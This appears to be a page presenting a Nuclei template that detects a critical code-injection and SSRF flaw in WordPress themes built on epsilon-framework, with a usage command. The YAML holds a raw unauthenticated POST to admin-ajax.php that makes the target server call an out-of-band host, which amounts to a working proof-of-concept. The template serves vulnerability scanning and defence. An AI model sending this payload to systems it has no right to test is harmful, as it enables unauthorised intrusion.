WordPress Themes - Code Injection

ID: wp-multiple-theme-ssrf

Severity: critical

Author: madrobot

Tags: wordpress,rce,ssrf,edb,wpscan

Description

Fifteen WordPress themes are susceptible to code injection using a version of epsilon-framework, due to lack of capability and CSRF nonce checks in AJAX actions.

YAML Source

id: wp-multiple-theme-ssrf

info:
  name: WordPress Themes - Code Injection
  author: madrobot
  severity: critical
  description: Fifteen WordPress themes are susceptible to code injection using a version of epsilon-framework, due to lack of capability and CSRF nonce checks in AJAX actions.
  reference:
    - https://www.exploit-db.com/exploits/49327
    - https://wpscan.com/vulnerability/10417
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-94
  metadata:
    max-request: 1
  tags: wordpress,rce,ssrf,edb,wpscan

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=https://oast.me/

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Interactsh Server"
          - "protocol_version"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008ad1da4145fbc1e20a229e803b36c0685d157e2cac297b78f8085f4b9975d89f022100ade2a5b1f626aa05d428768f5c13741f5e44d96f2043b6add2c4fb983c1b3a19:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-multiple-theme-ssrf.yaml"

View on Github